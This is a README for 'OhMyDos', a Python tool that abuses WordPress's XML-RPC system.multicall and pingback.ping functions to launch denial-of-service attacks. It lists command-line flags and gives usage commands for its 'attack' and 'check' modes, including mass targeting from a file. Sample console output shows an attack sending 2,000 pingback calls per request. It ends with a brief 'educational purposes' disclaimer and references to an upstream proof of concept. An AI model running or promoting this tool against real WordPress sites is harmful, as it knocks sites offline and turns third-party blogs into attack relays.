OhMyDos is a python console application abusing Wordpress API called XML-RPC and its functions system.multicall and pingback.ping with aim of Denial-of-Service.
OhMyDos provides 2 operation modes check and attack with ability to automate targeting of multiple Wordpress websites.
| Flags | Description |
|---|---|
| -e | Number of entries per one system.multicall (per one POST request) |
| -r | Number of POST request per target |
$ python3 OhMyDoS.py attack http://pingback.com http://example.com
▒█████ ██░ ██ ███▄ ▄███▓▓██ ██▓ ▓█████▄ ▒█████ ██████
▒██▒ ██▒▓██░ ██▒ ▓██▒▀█▀ ██▒ ▒██ ██▒ ▒██▀ ██▌▒██▒ ██▒▒██ ▒
▒██░ ██▒▒██▀▀██░ ▓██ ▓██░ ▒██ ██░ ░██ █▌▒██░ ██▒░ ▓██▄
▒██ ██░░▓█ ░██ ▒██ ▒██ ░ ▐██▓░ ░▓█▄ ▌▒██ ██░ ▒ ██▒
░ ████▓▒░░▓█▒░██▓ ▒██▒ ░██▒ ░ ██▒▓░ ░▒████▓ ░ ████▓▒░▒██████▒▒
░ ▒░▒░▒░ ▒ ░░▒░▒ ░ ▒░ ░ ░ ██▒▒▒ ▒▒▓ ▒ ░ ▒░▒░▒░ ▒ ▒▓▒ ▒ ░
░ ▒ ▒░ ▒ ░▒░ ░ ░ ░ ░ ▓██ ░▒░ ░ ▒ ▒ ░ ▒ ▒░ ░ ░▒ ░ ░
░ ░ ░ ░ ░ ░ ░ ▒ ▒ ░ ░ ░ ▒ ░ ░
----------------------------------------------------------------------------
[>] Target : http://example.com
[>] Building 2000 pingback calls per one request
[>] Request size: 243.649 kB
[~] Starting attack, press CTRL+C to stop ...
[>] Requests sent : 159
[~] Attack interrupted by keypress
$ python3 OhMyDoS.py attack http://pingback.com targets.txt
$ python3 OhMyDoS.py check http://example.com
▒█████ ██░ ██ ███▄ ▄███▓▓██ ██▓ ▓█████▄ ▒█████ ██████
▒██▒ ██▒▓██░ ██▒ ▓██▒▀█▀ ██▒ ▒██ ██▒ ▒██▀ ██▌▒██▒ ██▒▒██ ▒
▒██░ ██▒▒██▀▀██░ ▓██ ▓██░ ▒██ ██░ ░██ █▌▒██░ ██▒░ ▓██▄
▒██ ██░░▓█ ░██ ▒██ ▒██ ░ ▐██▓░ ░▓█▄ ▌▒██ ██░ ▒ ██▒
░ ████▓▒░░▓█▒░██▓ ▒██▒ ░██▒ ░ ██▒▓░ ░▒████▓ ░ ████▓▒░▒██████▒▒
░ ▒░▒░▒░ ▒ ░░▒░▒ ░ ▒░ ░ ░ ██▒▒▒ ▒▒▓ ▒ ░ ▒░▒░▒░ ▒ ▒▓▒ ▒ ░
░ ▒ ▒░ ▒ ░▒░ ░ ░ ░ ░ ▓██ ░▒░ ░ ▒ ▒ ░ ▒ ▒░ ░ ░▒ ░ ░
░ ░ ░ ░ ░ ░ ░ ▒ ▒ ░ ░ ░ ▒ ░ ░
----------------------------------------------------------------------------
[>] Checking if XML-RPC for http://example.com is enabled ...
[>] XML-RPC enabled.
$ python3 OhMyDoS.py check targets.txt
| Task | Status |
|---|---|
| Reimplement random User Agent generation |
- WordPress DoS: Rediscovering an Unpatched 0-Day (blog post)
- PoC : https://github.com/roddux/wordpress-dos-poc (this project is build on the top of this PoC)
- Exploiting the xmlrpc.php on all WordPress versions (blog post)
This tool was developed solely for educational purposes only and the author of this tool is no way responsible for any misuse.
React
Typescript
Django
Laravel
Facebook
Microsoft
Google
Alibaba
D3
Tencent